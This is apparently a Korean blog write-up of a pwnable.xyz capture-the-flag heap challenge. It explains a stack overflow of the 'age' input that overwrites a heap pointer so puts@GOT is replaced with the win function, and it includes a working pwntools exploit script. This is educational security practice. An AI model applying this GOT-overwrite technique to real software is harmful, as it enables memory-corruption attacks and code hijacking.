# description
간단한 heap 문제이다.
디버깅으로 변수들의 구조를 확인하면 쉽게 풀 수 있을 문제이다.
# process
s : 스택에 위치한 변수로, heap 주소가 저장된다. (정확히는 heap의 데이터 영역 주소가 저장된다.)
cur : s를 가리키는 포인터. s 변수 주소를 저장한다.
buf : 스택에 위치한 age 값 저장하는 변수이다.
s와 buf 간의 관계를 디버깅으로 확인해볼 수 있다.
디버깅하다가 edit_usr을 할 때 age 값을 넣는 스택 주소를 확인할 수 있었다.
(익스 성공할 때 디버깅 상태이다.)
edit_usr 함수에서 age 값을 'D'*0x10 + puts@got로 줬더니 위와 같이 값이 들어갔다.
근데 cur 변수에 저장된 s 변수 주소 값을 확인해보면 다음과 같다.
즉, buf+0x10 위치에 s 변수가 위치한 구조를 가지고 있어서 age에 0x10 더미를 주고 더 입력하면 s 변수 값을 덮을 수 있다.
s 변수 값은 heap의 데이터 영역 주소이다.
따라서 edit 시 name에 입력할 때 heap의 데이터 영역 주소 값에 입력하는데 s 변수 값을 puts@got로 변조해서
puts@got에 name 값을 넣게 된다.
이때 win 함수 주소 값을 name으로 주면 puts@got에 win 함수 값이 적히게 되고
puts 함수가 호출되면 win 함수가 호출돼서 flag를 딸 수 있게된다.
# exploit code
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30011)
#gdb.attach(p)
elf = ELF("./challenge")
win = elf.symbols['win']
p.sendafter("> ", '1')
p.sendafter("Name: ", 'A'*0x20)
p.sendlineafter("Age: ", str(1))
p.sendafter("> ", '3')
p.sendafter("Name: ", 'C'*0x20)
p.sendafter("Age: ", 'D'*0x10+p64(elf.got['puts']))
p.sendafter("> ", '3')
p.sendafter("Name: ", p64(win))
p.sendafter("Age: ", str(1))
p.interactive()
# exploit
[pwnable.xyz] strcat (0) | 2020.02.27 |
---|---|
[pwnable.xyz] fclose (fSOP) (1) | 2020.02.10 |
[pwnable.xyz] game (0) | 2020.01.22 |
[pwnable.xyz] Jmp_table (0) | 2019.11.11 |
[pwnable.xyz] free spirit (0) | 2019.11.11 |